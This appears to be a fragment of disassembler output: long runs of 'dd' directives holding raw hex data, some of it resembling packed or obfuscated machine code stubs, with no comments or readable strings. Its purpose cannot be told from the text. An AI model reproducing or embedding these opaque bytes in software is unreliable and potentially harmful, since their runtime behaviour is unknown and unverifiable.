		dd 148B5404h, 4C48324h,	34815657h, 5B2FD824h, 0F7815F15h
		dd 155B2FD8h, 5F087A89h, 5124148Bh, 0C181E189h,	4, 8704C183h
		dd 8B5C240Ch, 89572434h, 4C781E7h, 83000000h, 3C8704C7h
		dd 40E95C24h, 8FFFABEh,	0E0CCB770h, 90773C44h, 0ABBEEEB8h
		dd 0FFC50306h, 0E33685E0h, 58CB635Eh, 0E101835Ch, 0CBAF4D35h
		dd 0BC717152h, 0D67C9036h, 463BD203h, 0FE93Dh, 85150000h
		dd 2864h, 2 dup(0)
		dd 0B49E900h, 11680000h, 0E906ABC1h, 0FFFB80B2h, 0ABC20E68h
		dd 80A8E906h, 0BC68FFFBh, 0E906ABC3h, 0FFFB809Eh, 0ABC4B068h
		dd 8094E906h, 5168FFFBh, 0E906ABC7h, 0FFFB808Ah, 0ABC8D668h
		dd 8080E906h, 0B568FFFBh, 0E906ABC9h, 0FFFB8076h, 99B775D0h
		dd 0A3C90901h, 771DC577h, 5539FBBh, 0C866AEEDh,	3F1C7BD5h
		dd 0C94F5BF1h, 86B76309h, 5BFC3442h, 1A2EFF95h,	0E93D8368h
		dd 3D9DE10Ah, 90A16728h, 0C9C30136h, 267BD5ACh,	858AB97Eh
		dd 0ED8149AFh, 4743493Bh, 0E563183Ah, 787F6133h, 0EA0AEE09h
		dd 2C9CAD92h, 0AEE09C3h, 5B17835Dh, 2CEA343Bh, 4D76h, 2612D600h
		dd 51DB8295h, 1B0D7F3Fh, 94318269h, 664E011h, 6CE4C14h
		dd 7A2EED73h, 3A60FC88h, 6A3C5818h, 4CBC9858h, 8A615B3Dh
		dd 180AEE01h, 2F95A47Ch, 6E1DB68h, 980AEE01h, 7E16544Ch
		dd 32CEA30h, 1615DD7Fh,	9D74h, 6728D400h, 783890A1h, 762C13D1h
		dd 506A1FC5h, 0B00839FFh, 0DB6EAEE0h, 0ABECB675h, 0D7FDCF65h
		dd 0DA119501h, 199B775h, 55BBCE0Eh, 1527F16Dh, 40BCB4Dh
		dd 3B234870h, 32583C18h, 0AE78F4DCh, 97729FBCh,	9A4C1E11h
		dd 4462755h, 65F2B1D7h,	226929E3h, 0FF5C54E2h, 0E5937131h
		dd 3019BAE1h, 965B7h, 0AC1C3900h, 0E6226A86h, 3AFA5048h
		dd 48B8841Ch, 9F45F622h, 65943CF1h, 0A840EED6h,	900826E6h
		dd 0C5DD7BB9h, 1E4B272h, 3B6A8173h, 66F80AE9h, 0BD6328D6h
		dd 0F4341B97h, 26123E5Eh, 0FCA74C3Eh, 43051194h, 4B392BFDh
		dd 0C8183B2Ch, 0A3FA50ADh, 3576841Bh, 34004E43h, 0AFCAE0Ch
		dd 0AEEDDE5h, 15020147h, 0D93C5973h, 0CEFCBAB8h, 0AA1E1310h
		dd 0AEED841h, 7CA901DFh, 0EA07B701h, 66259669h,	0EA8E7F17h
		dd 0C1322Ch, 286A0000h,	0F4341B67h, 74C7E396h, 0C90FFD8Ch
		dd 28119501h, 118BA167h, 0F7569D4Fh, 0B0D41194h, 1460D7F3h
		dd 94F78D62h, 1B791F11h, 69A6666h, 0ACA4C14h, 46121177h
		dd 0FBF0E2B4h, 691194F7h, 0DE1A33EFh, 22952FD9h, 0EF69183Bh
		dd 0BA79341h, 6EDF6F11h, 0D5B31197h, 7D6F31C3h,	4462A76h
		dd 0F79390F4h, 3AF69C44h, 0FFEFD311h, 0E1BAE1E8h, 8686F58h
		dd 1B260000h, 271783A9h, 0FF5D55E3h, 85811937h,	58F32F45h
		dd 9123F298h, 4DEB2962h, 1523E355h, 0DE74BC9Dh,	0E18F4DC2h
		dd 6D827404h, 0FF0AE93Ah, 14262B63h, 94FC8D62h,	0BA791F11h
		dd 0B365ABE0h, 7BD3A9EFh, 248A8ABFh, 7ED1C967h,	286490BEh
		dd 3890A167h, 1116D678h, 6806C649h, 6822BE8Ah, 3AFD8686h
		dd 4491CE18h, 0C5D81FEDh, 17B3C624h, 5E4AE020h,	0B2063BF9h
		dd 0D267ADEEh, 0ED9C4CC8h, 7206056Bh, 9E7222A3h, 29DBEDBFh
		dd 7769DCC2h, 0B9672420h, 67A5EA01h, 0BE7ED1C9h, 0DCD7118Bh
		dd 700E7769h, 2EEEA158h, 0BE7FE600h, 6C43D1D9h,	0F25090BBh
		dd 0E22215CDh, 4D2CCD28h, 0D77D7264h, 69EF7769h, 7C8E1014h
		dd 623E8ABFh, 5E2AE92Bh, 7769D790h, 7EDEE236h, 828187BAh
		dd 7739EEDAh, 69D76E85h, 26CDBF77h, 847769D7h, 0CCF395C0h
		dd 0FD592116h, 0BA187C0Dh, 0CD33049Ch, 0FC7058BCh, 0A70382Ah
		dd 10747E10h, 8AAC947Ah, 53354484h, 0F29DBCDh, 0F77769B9h
		dd 90BC3325h, 2E2E6A1Dh, 0A943B9C8h, 396A1D90h,	1F7733EFh
		dd 0A48C19BBh, 0B176BE9Ch, 475D1h, 0C082FB00h, 699F93EEh
		dd 23082EEDh, 0EB9DAFBCh, 1194FC04h, 459FE666h,	0E42D08D2h
		dd 0CEBA5A59h, 86967852h, 0AE183AD9h, 691BEDAEh, 0DAE7BE93h
		dd 0B65872EEh, 34C522B6h, 0B10B3E5Eh, 0BDF6FDEFh, 10742778h
		dd 861BB3ADh, 0CFCC5D00h, 0C6776129h, 532FC4B6h, 0DBBD2778h
		dd 0E240C475h, 8E704628h, 14702E1Eh, 1BD97E02h,	5292A57Dh
		dd 6DD6926Eh, 0E6E356D7h, 6BAh,	0DD7BA994h, 0E78D75C5h
		dd 0ABC1010Bh, 7917D37Fh, 0C2AEAA1h, 7BD03F91h,	0D039FB5h
		dd 0C24BA7CDh, 9FB06806h, 26EA3359h, 0E939BF34h, 79D12D0Ah
		dd 0CD4C1426h, 0FCBE3507h, 282C1194h, 5898BF6Bh, 77BF9D29h
		dd 0DAE0D9h, 12AA0000h,	42188824h, 275A9EBEh, 0CCB36221h
		dd 938F851h, 24559DBDh,	20C7F3A9h, 544AA868h, 4050128Eh
		dd 73339127h, 5Fh, 8824122Bh, 434CC9Eh,	0C32DDFDCh, 5B1194FCh
		dd 9DB20C3Dh, 56F9315Fh, 15FDE396h, 8BDD8F99h, 3183B2Eh
		dd 0A0EA3445h, 45F5D160h, 79D2EC9Dh, 0A98686BBh, 0C79AC7F3h
		dd 7A716335h, 0E80AEEC9h, 0D9F1AF6Ch, 0EAEE0989h, 11882Ch
		dd 0CE920000h, 0A2848B49h, 0F23E1A26h, 0FD34CDh, 12060000h
		dd 0EE908A26h, 183B045Ah, 7DA3E82Ah, 0C6330D00h, 8FED1421h
		dd 8A3C3F8Bh, 5F48F1C1h, 5C6h, 214FBD98h, 0EB8141C9h, 0BFD51D3Fh
		dd 4DEB2763h, 103EE655h, 77C4339Dh, 137E389h, 0DE7FABC1h
		dd 93A47C1Ah, 0D2E6072Dh, 0E938CB20h, 75C5590Ah, 9E882412h
		dd 0F8894BC2h, 0AC439794h, 0C5FD8B9Ch, 0EB03B520h, 88F7BC16h
		dd 0DF1C748Bh, 55973390h, 0F7000000h, 18882412h, 805EB347h
		dd 2B3A5A28h, 41793391h, 0A3000000h, 0BA79B99Fh, 3224129Ch
		dd 49C2DE1Ah, 22F5258Bh, 0DF06D03Bh, 0F4F0961Dh, 21E3AAF0h
		dd 0AC04DCC3h, 30C7A97Bh, 0FF119472h, 63E5945Ch, 0DBAD92EAh
		dd 11947A17h, 95801764h, 0B0313390h, 69FFFFFEh,	18322412h
		dd 3F1DA9D8h, 7CC242F7h, 0EF58A1Eh, 0E0FD3E5h, 256BB7CAh
		dd 92F054E5h, 8FDBF7ADh, 33912B07h, 0D48E41BCh,	9669DAC5h
		dd 230F191h, 28A90000h,	0F3370763h, 34CCDC6Dh, 0A7A9D808h
		dd 0D21E3AE0h, 0B46C249Fh, 4A8E8F53h, 76BE9D45h, 6ABB9CA4h
		dd 2EC625D5h, 0E594FAA3h, 2C94A763h, 0DC743B1Dh, 1C3377C4h
		dd 45ABADDCh, 74E8D034h, 4760B0A2h, 0F094183Ah,	0F1331A26h
		dd 71866840h, 0F30AEE13h, 0C3703795h, 49A01898h, 0B27402C2h
		dd 0D366A2EEh, 0A7944E4Dh, 0F98848C3h, 0E0862E97h, 13B62DEDh
		dd 0E30CFC8Dh, 380AEE73h, 0F8534A66h, 0B5861238h, 0EEDA3A4Fh
		dd 76B65872h, 9E11948Ah, 681A2CFEh, 4485883h, 88A067E1h
		dd 0C8C25E2Ah, 0EE8B8E26h, 0A0DD50Ah, 0D2D1B7CAh, 7A6E0345h
		dd 0FDA22675h, 0E330E8B6h, 0B448417h, 28599BB2h, 0D1C4D924h
		dd 76183290h, 449173Eh,	4066F865h, 7B920D29h, 8FA5A3B4h
		dd 4DFC3C13h, 97A4DE71h, 0D6341829h, 0F26E5AB8h, 1E6236D8h
		dd 0CA82FDA2h, 0E1AA45B7h, 0E834F055h, 5EAED730h, 876C1ED9h
		dd 0E5F05557h, 31310263h, 474FBE7Dh, 4A1251AFh,	38h, 8A261222h
		dd 2BA2EE90h, 9AF2183Bh, 0CCFAF5E7h, 54640AEEh,	0F0935B82h
		dd 49083D7Eh, 0EEE1787Fh, 3E8DEA0Ah, 73495D01h,	2AF2B117h
		dd 5BE4ACFEh, 0DEAF2CEAh, 8F000000h, 0F0301A26h, 0E0201733h
		dd 1C67551h, 219F22C4h,	0BE7ED1A4h, 40A2E558h, 0E6EB2A71h
		dd 0C56F9680h, 0C2C28B7h, 9C261B18h, 91A375BBh,	94E508EFh
		dd 3DE29A11h, 0E59DB20Ch, 660C9252h, 94EA30A4h,	0E49EB111h
		dd 7ADA6F55h, 0B0987E14h, 0EE4CB486h, 837A4A3Ch, 3A52183Dh
		dd 741BF560h, 3D26BDEEh, 0ECE9A44Bh, 0E046060Ah, 0E2A96923h
		dd 0BF9C1422h, 0A77BB171h, 98A1C188h, 3252Fh, 0ECDC7900h
		dd 26E2AA46h, 7ABA9008h, 8878C4DCh, 0DF0536E2h,	0A5D47CB1h
		dd 0E8002E96h, 0D0C866A6h, 59DBB79h, 41A4F232h,	352AC1B3h
		dd 26B80AE9h, 7632896h,	0C76DF337h, 0F2A4642Bh,	95A46C2Eh
		dd 0FC9E5507h, 480C1194h, 0EA19BEAh, 0A84C64ECh, 225B4DEBh
		dd 0B7B0118h, 0F0119B0h
		dd 0D5DABACFh, 0A1672871h, 0C3013690h, 1A2601B5h, 6F2BF735h
		dd 898E8EA3h, 8BBE7ED1h, 0B2D8183Fh, 9A4C745Ch,	1194FC55h
		dd 7953B1D7h, 3B1B0197h, 162B2D18h, 0EEDD49A2h,	74BC9E0Ah
		dd 9151F9C5h, 4B67BDE0h, 75AD7BEEh, 344EC090h, 0CB7EDC04h
		dd 5F374645h, 522CEB08h, 46h, 321A260Ah, 675331F6h, 612FD1CBh
		dd 0BD183B2Ch, 0C38590C4h, 278508C7h, 2F48612h,	0AEEC3EDh
		dd 92A4197Fh, 0C36D8521h, 0DF08FCA3h, 410AEE2Dh, 573F0BA7h
		dd 6C2CEA5Ch, 4CF235F1h, 1017EDE7h, 0C272h, 67282A00h
		dd 763890A1h, 94FC6F84h, 949BFD11h, 0F2874DCEh,	90A16728h
		dd 0B5C30136h, 95017D53h, 59D36411h, 7973B399h,	1194F772h
		dd 183694F0h, 5F498F80h, 4B488883h, 0B62A16F6h,	13F2F2E4h
		dd 0E29A183Bh, 69A6654h, 825C6214h, 282C1197h, 0B61C077Eh
		dd 35E347CFh, 844A6BC8h, 0F9BE496Eh, 0F838132Fh, 856A1C2Eh
		dd 0E7044697h, 1E8AA261h, 6CE4D3Dh, 0A190ED73h,	1B89F2EAh
		dd 0E3131775h, 75BAE243h, 1A0DBC4h, 53FE0000h, 6F2FFB91h
		dd 27158DABh, 0FD5951FFh, 808B670Dh, 59FB2A40h,	85D3113Ah
		dd 4DEB2B6Dh, 163CE455h, 0D977B59Ah, 0A54A3CCCh, 70AE934h
		dd 632813BBh, 341B97BDh, 123E5EF4h, 0CE908A26h,	0FCA54A3Ch
		dd 41071194h, 2BDAB642h, 423A183Bh, 75C59D2Fh, 0F1FA8E8Dh
		dd 260AEECCh, 29CAD17h,	1ABDCC0Ch, 14451682h, 292D0C8h
		dd 0B12CEAFBh, 0AEh, 7DBF26E9h,	9D9790E2h, 9401A8E8h, 0D5B6E729h
		dd 0C50B0CD6h, 0E3216AB4h, 41765A4Eh, 0D47B1194h, 0EDA27E14h
		dd 0CEBA1A2Fh, 56967852h, 0FE183A53h, 3602F09Eh, 2DEE0BAh
		dd 0D7B9C808h, 0BE3F24D0h, 31CD1196h, 0A17BD919h, 0A07ABA91h
		dd 7907EC9Eh, 0E3650445h, 0BF9C143Ch, 78DC13C5h, 0E4E0445h
		dd 3740E8A8h, 534BAE1h,	0C198h,	70B09D00h, 8A4ECEDAh, 0DE0634ECh
		dd 0ECDC78B0h, 23E1AA46h, 0D9389815h, 0CE4B272h, 74ACCA0Ah
		dd 0B9711FC5h, 0ED385696h, 33C62DDFh, 0DA240AE9h, 0BD632872h
		dd 40341B97h, 94FC599Eh, 2F8DCB11h, 67289501h, 13690A1h
		dd 9E16BDDCh, 1371F625h, 37AB9745h, 37FF5D65h, 4B1D0202h
		dd 4002EC99h, 1F522A18h, 44F68C83h, 98103E9Ch, 0E8C071B7h
		dd 93A66628h, 12FA8E8Dh, 2039B7D2h, 75F5F16Ch, 0D02D980Ch
		dd 1987C92Eh, 0DF3D5BDCh, 71A800D8h, 0B8701EDEh, 0BB475197h
		dd 0E3505793h, 0FA8F7BC7h, 0BC69415Fh, 0AD9252E4h, 888242F5h
		dd 838040C8h, 1ADA7DB5h, 87A67h, 92AE0000h, 9FBF7CBCh
		dd 6D281636h, 1F308ABFh, 3F1EA8D9h, 0D47A44F5h,	0F2596514h
		dd 0E8A37F32h, 818D1928h, 0A4963041h, 59F1CD7Ch, 68E2E899h
		dd 3405h, 68243C89h, 30DFh, 68240489h, 0A9Ah, 68241C89h
		dd 6ABBFF8h, 8324048Bh,	8B5404C4h, 0C483241Ch, 4EC8304h
		dd 89243489h, 87389C6h,	241C8B5Eh, 81E28952h, 4C2h, 4C28300h
		dd 5C241487h, 582434FFh, 0E904C483h, 0FFFB757Eh, 1229A894h
		dd 0DD428C2Ah, 0B89C8071h, 6ABCA9Bh, 0E0FFC503h, 668A27Eh
		dd 76D6A99h, 1210763h, 599835B7h, 8C4B749h, 1F614F3Bh
		dd 0B67CEC4h, 39BCDEDBh, 585318F2h, 36E8915Eh, 64EF0B98h
		dd 6D89FCFDh, 0CBF58D8Dh, 0C38B06ABh, 6AD8D89h,	0FE806A6h
		dd 0DE000000h, 9D50BA26h, 0F685232Eh, 0B2B1A486h, 0BEB48644h
		dd 0D85C75Ah, 0E806A604h, 6A000059h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 4FAAC351h
		dd 1D9D0B4Eh, 0C706A61Bh, 0A60BE985h, 6, 7E900h, 30DB0000h
		dd 26A27AF9h, 0EDB5FFF6h, 6A06A61Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0DFD9C355h
		dd 5DB1E9FFh, 95FFD8EDh, 6A61A79h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 8FC35040h, 0A2E62321h, 6AD18Bh
		dd 295995FFh, 0C08B06A6h, 0AF9E4BEBh, 7325F5DFh, 0FB35EFC5h
		dd 43DC0ABEh, 0D858443Ch, 906470BFh, 7B1BD96Fh,	74EA4466h
		dd 2F2C520Bh, 9410ACECh, 3F155F2Dh, 45C10BD9h, 8779D693h
		dd 0F2541841h, 9748AF71h, 0EC8531A0h, 89394BC2h, 0C377655Eh
		dd 522AC01Eh, 4BE975h, 49E50000h, 7B5Dh, 1C570000h, 48434AC5h
		dd 0ADF93661h, 8C88A7A5h, 0B7FB7552h, 0F99CBE00h, 937EE5ADh
		dd 0C7009D89h, 63921DF4h, 0DE1960h, 7 dup(0)
		dd 0B39E900h, 94680000h, 0E906ABCDh, 0FFFAB107h, 0ABCEF968h
		dd 0B0FDE906h, 0FF68FFFAh, 0E906ABCFh, 0FFFAB0F3h, 0ABD09968h
		dd 0B0E9E906h, 5168FFFAh, 0E906ABD1h, 0FFFAB0DFh, 0ABD26D68h
		dd 0B0D5E906h, 1968FFFAh, 0E906ABD3h, 0FFFAB0CBh, 0ABD4E968h
		dd 0B0C1E906h, 1368FFFAh, 0E906ABD6h, 0FFFAB0B7h, 0D954BEAFh
		dd 3782687Eh, 64B15B08h, 0A8E50BD9h, 9815C3EDh,	21C3EC41h
		dd 0CC93BAF7h, 85A89722h, 6B7FC653h, 0A02E3481h, 67259A37h
		dd 0B598C33h, 1F55BFACh, 77E11C43h, 0F0E29B4Dh,	0A7F15A04h
		dd 333EB8B5h, 25E102B5h, 1BF73367h, 8DCD412Fh, 3AD494A6h
		dd 1CFD504Ah, 0BC8552D3h, 0A8BA9674h, 27CD9D3Ah, 55BFA3EAh
		dd 0E61FDE34h, 0E760DF78h, 9C763813h, 9F7575D2h, 0ACBD1A02h
		dd 0A9BB2746h, 0FBA2481Ah, 3D3BD213h, 0E5ED0C9Ah, 2B335A33h
		dd 4A2698C1h, 3DFC22D5h, 0B4305588h, 975h, 0B9F41ECFh
		dd 9722C89Eh, 0C451BBA8h, 8856B79h, 78B5630Dh, 41638C21h
		dd 2C331A97h, 25C877C2h, 0CB9FA6F3h, 8E9421h, 67243A57h
		dd 0B9F92C33h, 0BC1F875Bh, 35CCE917h, 1DF3F219h, 0F9143521h
		dd 0C8B603E9h, 0E323F40Dh, 8B62D9F5h, 1BF721CCh, 0C9E8FA5Dh
		dd 4FE3EB2h, 0C5892665h, 3AF6336Ah, 84954CC8h, 31D4F658h
		dd 5E000000h, 3A24E11Ch, 0B2D8E991h, 74158D3Eh,	63B153F8h
		dd 0FC15EF77h, 631AF647h, 0FB2DD07Fh, 89B9D669h, 2AC6336Ah
		dd 0C4A55CD8h, 17E4F658h, 0AE000001h, 0E309DD7Ah, 850A58BAh
		dd 0ED214FA5h, 0A8B54C63h, 0DB7CFAC9h, 35CCECB6h, 9D3042B8h
		dd 28CB4E72h, 67534FFEh, 2AAF52F9h, 49B5D43Ah, 6FA6075Dh
		dd 84E8917Bh, 91E335DFh, 8CEA0022h, 0AABC0127h,	362B5440h
		dd 2331ADDCh, 0DF78066Eh, 35CCECB2h, 83344EA4h,	35CCE817h
		dd 4917B6Fh, 0A5C32939h, 4B41C569h, 0BCB638DCh,	0C9448109h
		dd 9B20CAFh, 6FF53EB2h,	6BE1A7CCh, 87554933h, 95FDD9CBh
		dd 0EAFC9B77h, 0E5DD7200h, 0D22BAAA8h, 0D03A2F94h, 85A8CB7h
		dd 0FC78319Ah, 0B74F3813h, 5DBF17E9h, 0E65D17B6h, 0DBC5620Ch
		dd 0A493630Dh, 471DFA24h, 58C49DD7h, 6405EFF3h,	0B95BE87Ah
		dd 9603F86Fh, 0D5788EEAh, 81093h, 6F85A200h, 99736BD2h
		dd 0CA20010Ch, 0FE10D07Fh, 2EF8E4A3h, 0FAF54893h, 8AB500D6h
		dd 5DF835DBh, 6E2964B2h, 1B1B967Ch, 27812295h, 74973367h
		dd 6FB95B2Eh, 658B5A01h, 4CCA52EFh, 0CCE946EBh,	0D5726835h
		dd 5D41F816h, 40AAB807h, 0E11CB9F5h, 0E9913A24h, 8D3EB2D8h
		dd 0B8D57415h, 0C7336AC6h, 9DFC269h, 0CC146E50h, 8B9732B6h
		dd 0E8D6F658h, 5C000000h, 123E875Bh, 3FB1E8C4h,	71AA1BC7h
		dd 0E6800DEAh, 0CC18DC75h, 9AE8C235h, 0ACDD0B35h, 0F011BA40h
		dd 0E635CC18h, 0D5C5760Ch, 0A935CC1Ch, 0AE1553B9h, 0B52950BEh
		dd 875BE2BFh, 28862669h, 0F4E045ECh, 85807D55h,	0F6F65DDBh
		dd 0E77D6118h, 0B2E46A54h, 0B867C3Eh, 0F5738A4Bh, 9E3C06Fh
		dd 0A3146E50h, 381210D5h, 980C34C8h, 2AA0C16Ah,	5CB63882h
		dd 2E9BA864h, 825D648Dh, 0A4900A38h, 0DF9971AEh, 0F9A4C70h
		dd 55CA1C00h, 8EEC6696h, 0A40A4A9h, 0A4000007h,	71DC6983h
		dd 3B029F75h, 0D671CC26h, 0E2ADF816h, 4E9D28FEh, 0ADCC0EFh
		dd 3FD190BFh, 6EB85BE2h, 9C7674D3h, 3C9F2101h, 33672697h
		dd 5BD46E99h, 5A016FB9h, 0C23861B7h, 62440DE8h,	6CE6D23Eh
		dd 0E0786AD5h, 0CCF1DA77h, 0E731DC35h, 0B7235C46h, 5B344EDBh
		dd 913C6D87h, 0ABEE3BD1h, 35CCE902h, 0ED8B8243h, 0B8B5384Ah
		dd 2A34AE3Eh, 2937DD8Dh, 124BA182h, 0FDA5B0A0h,	34063AFBh
		dd 624633Eh, 9855BDECh,	6658F37Dh, 70381907h, 1CAC259Ah
		dd 0E2638EE9h, 6708Ah, 0FE5C200h, 39D38BB2h, 6A80A1ECh
		dd 9E7070DFh, 0CE180403h, 1A952873h, 2A15A076h,	0FD58D53Bh
		dd 8E8904D2h, 7BFB36DCh, 392142F5h, 94373367h, 6D875B8Eh
		dd 49D1913Ch, 0CCE945EEh, 7D8D2C35h, 2E9EF483h,	0FCAD9971h
		dd 0B361939Fh, 1BC845AFh, 0F0FEEFE0h, 1FBFh, 0FC7A6300h
		dd 0CCE9365Bh, 2CC63835h, 0A8FB0095h, 0EB0DE5D1h, 8C2AED9Eh
		dd 94DC5A28h, 84000001h, 0CCE93E57h, 877E7F35h,	0B50F7ED9h
		dd 35AD3EB8h, 7051AD2Bh, 923F9851h, 84336790h, 8496362Eh
		dd 5B0FB4CEh, 9D964B1h,	914CBAE3h, 6D41EA74h, 93819BAh
		dd 81B32E91h, 0E1648EE9h, 5B887h, 0B75D0A00h, 0E10BD37Ah
		dd 12F8E954h, 46A8B887h, 76A04CCBh, 0A24DE03Bh,	72DD68BEh
		dd 5009D73h, 0D671CC1Ah, 0C3A3FE14h, 38699A3Dh,	0CC7F3367h
		dd 3E875B76h, 0A5BBC412h, 0C62E5F4Bh, 0EDF37619h, 8C785A03h
		dd 2C93E1DDh, 1AB5D43Eh, 55F8A177h, 0D2C27B91h,	0DC3DBCD6h
		dd 7072A0D2h, 0BB560F9Ah, 0FAF0FEA4h, 0Ch, 0F71DCD6Ah
		dd 0E072257Dh, 0D6000000h, 365BFC7Ah, 3835CCE9h, 8944B0C2h
		dd 0BBE234DFh, 17C01943h, 9D89F897h, 9E39C7A1h,	35CC3775h
		dd 6FF58F7Bh, 0B86B50CCh, 15C8263Eh, 3C897BDAh,	43C99783h
		dd 0FBF112C5h, 58E73360h, 0FE74608Ah, 2E7B9151h, 0CFA94367h
		dd 0E3AC4660h, 0E24311FBh, 422CE9E4h, 14A7AAE9h, 84A20938h
		dd 3428D86Ah, 0DAB66EBEh, 0B1BF2B88h, 990AAD2Bh, 8F389B72h
		dd 0F0F24113h, 0A2808F1Ah, 0CD688B4Ch, 0C3BF12B5h, 54B12C9Ah
		dd 4CD1FA0Ah, 4DC56EC9h, 0FFEB389Bh, 0DC1AE207h, 77BF1886h
		dd 6733E501h, 1EAF148Bh, 0C144883Dh, 49CA7h, 0DB313600h
		dd 0DE7C74Eh, 3ED495B0h, 6A84A4E3h, 9A4C70DFh, 5661FC0Fh
		dd 66217CAAh, 311CA947h, 0C24DD80Eh, 0B7BF0AE0h, 3B658E29h
		dd 0D00B3367h, 1127242h, 1CD60000h, 913A24E1h, 3EB8B587h
		dd 0D279E7D3h, 0C1AFFA10h, 0F9C4974Dh, 99EBA901h, 0ABD2382Ah
		dd 0D6BA223h, 13E4EBAAh, 0AE52F938h, 0E1DDC178h, 405F987h
		dd 4BA5FAC0h, 0BCAE156Fh, 0BFA30856h, 0FB421F55h, 105C0DE7h
		dd 0D3392D8Ah, 0EE0348AAh, 0F0389BE2h, 41BC481Ah, 4D39D397h
		dd 0F97E8823h, 0A55933E5h, 6DEC1A8h, 9F344E01h,	44F5BC23h
		dd 67E6883Dh, 3F001h, 8F654200h, 0B9530B32h, 0EA00216Ch
		dd 1EF0F05Fh, 4E988483h, 9A15A8F3h, 0AA9520F6h,	7DD855BBh
		dd 0E098452h, 0FB7BB65Ch, 3AA1C275h, 14B73367h,	3E875B0Eh
		dd 24CE932Eh, 0B1AD1148h, 0DC654588h, 45B9E00Ah, 5F533069h
		dd 19F3F725h, 0A43CD78Ch, 457BF0FEh, 27000000h,	3A24E11Ch
		dd 0B238A191h, 8B5F043Eh, 46BC1361h, 44AEB318h,	0DA6FEA1Ah
		dd 0B9BDBBFDh, 8E96ABh,	6A3C3A57h, 0BCB62C33h, 6A3CF31Bh
		dd 1DF7EB33h, 0A668A480h, 92A1AA1Ch, 994AF98Bh,	5692CA73h
		dd 0F6000003h, 3F6EB85Bh, 88FF5DB1h, 2B863571h,	355E5350h
		dd 51231F28h, 6879C0E2h, 3C1B9682h, 6AA5C42Eh, 7F079278h
		dd 2142F57Eh, 3735CCA1h, 0D681EFDBh, 3EB28F1Ch,	7C9654F3h
		dd 285149E6h, 6A8E7CE9h, 0D9350333h, 0C82205ECh, 0ED2A065h
		dd 805970F4h, 5018F658h, 9A000000h, 0E309DD7Ah,	0AD686591h
		dd 0D86268C3h, 9E743EB2h, 0ADA81EFh, 1F5945E4h,	6AD917BCh
		dd 0D3A11933h, 6AD9C760h, 82F0B833h, 0A019CA71h, 0F37D6983h
		dd 6AD92B58h, 8FC53D33h, 5894BB56h, 0D4FAF6h, 0CD6A0000h
		dd 851FF71Dh, 0A8BE4BA8h, 5B86DAA8h, 913C6D87h,	903F39EFh
		dd 45EE49EDh, 6B35CCE9h, 5CF1837Fh, 0E5883131h,	0BFAB7D60h
		dd 0D3CD690h, 4BBBA591h, 814F8901h, 0BDDC04Dh, 0ADE0451Fh
		dd 52DA57BDh, 0EB19CBF5h
		dd 6DB925DFh, 544EFFEBh, 7C6DBD1Eh, 511135CCh, 8437BDBBh
		dd 35CC7C6Fh, 0B6CB9971h, 831DB8Fh, 76CE4382h, 0EA619A4Bh
		dd 0A6115F4Bh, 3EB22670h, 7111AC06h, 7CDF9974h,	3812B084h
		dd 9B6B02Ah, 0D964B167h, 5CB2B237h, 75BEFF60h, 10358EEBh
		dd 220D4h, 5FB5B200h, 89637BC2h, 0BA50113Ch, 0EE00206Fh
		dd 1EC8F453h, 0CAE57883h, 9AA5F026h, 0ADE825CBh, 7ED95482h
		dd 2B0B866Ch, 3D9132A5h, 64873367h, 6FB95BDEh, 9D776BD2h
		dd 0DD7AF600h, 58BAE309h, 5903C20Ah, 0DAC4658Bh, 23D780EEh
		dd 0CB3EB2D8h, 0C26BAEDFh, 0BD336AD9h, 0E66C9FF5h, 6AD9DC75h
		dd 9AE8C233h, 58944863h, 0A902F2F6h, 0F913D0E7h, 0B81BD609h
		dd 0ACDAC396h, 0EE886446h, 6A86244Dh, 82D0CA33h, 0DBE9h
		dd 8A7AA900h, 0CBA717A9h, 1FF5F663h, 0CA98746Eh, 5AFD6545h
		dd 35CCE529h, 82D3C33Fh, 0D174D851h, 135D0CF8h,	2158B2B4h
		dd 2441C5BDh, 0BF9BE537h, 0A4721EA5h, 14154ABAh, 0CDB957Bh
		dd 0E8D8B45Eh, 8DA744A9h, 58CD87C5h, 0CCE4F139h, 3FD59535h
		dd 6D875BE2h, 0B1D28503h, 0A735CCE4h, 5894394Bh, 0AD57EEF3h
		dd 0E4DE8F7Bh, 0AE67666Eh, 0C88717C0h, 0FBD73EB2h, 0E825A0AEh
		dd 62742D8Eh, 0A01A3812h, 0A17719C6h, 759E39C7h, 7B388225h
		dd 44E50FDCh, 5D146E5Ah, 0A718CEF2h, 8EEC4E04h,	0F636B6D7h
		dd 48000000h, 1D38759Fh, 2F16A349h, 0FA45D03Ah,	8E8904EAh
		dd 0A2F934E2h, 16C0EC0Bh, 43ADBC9Bh, 72A44FF6h,	0A04A1827h
		dd 28830D15h, 33673FBBh, 5B387AADh, 6BD26FB9h, 0F6009D77h
		dd 3C6D875Bh, 0EE3BD191h, 4E28E5E0h, 0B8B58EEDh, 97B62C3Eh
		dd 35806A78h, 0B427AD2Bh, 3367251Fh, 41E2A901h,	10336725h
		dd 1EB3AD5Dh, 0D3CF78C1h, 2F5E88B4h, 5012A1B3h,	0C66D83BAh
		dd 645E0FE5h, 7C3051FAh, 0CC263367h, 0EE8105B6h, 8C94B169h
		dd 0FDE8576h, 235AB0B2h, 4A9AC3BFh, 6ECE40E1h, 807C56B1h
		dd 779D4DF2h, 0F64F133Ah, 6C1DCBh, 6ECE3A57h, 0DAB62CB1h
		dd 1A43A9BDh, 539DCCB8h, 7F1BC9F4h, 53FF6DABh, 0DEC07955h
		dd 0C7293F84h, 88B41399h, 6A943D5Eh, 209AB16Eh,	555DF352h
		dd 17FDED3Fh, 0D562929Ah, 1BACB44h, 0B1B11E54h,	0DAB65808h
		dd 345A3h, 1E1D0000h, 68825B82h, 26CC9E31h, 0F325C807h
		dd 0CA243B4Ah, 86507C93h, 5284A8E7h, 2AC4E42Bh,	0E50FDC73h
		dd 0B75D0944h, 9868A496h, 54000045h, 8324048Fh,	53042404h
		dd 0C381E389h, 4, 8704EB83h, 895C241Ch,	89512404h, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 2414895Ch, 35D4BD55h, 81456368h
		dd 326040CDh, 4DD5F70Eh, 8108EDC1h, 3B497EF5h, 5D585506h
		dd 34B868h, 24248900h, 4240481h, 5A000000h, 605A68h, 24048900h
		dd 5E242C81h, 8F05E917h, 42810842h, 0E9175E08h,	2434FF05h
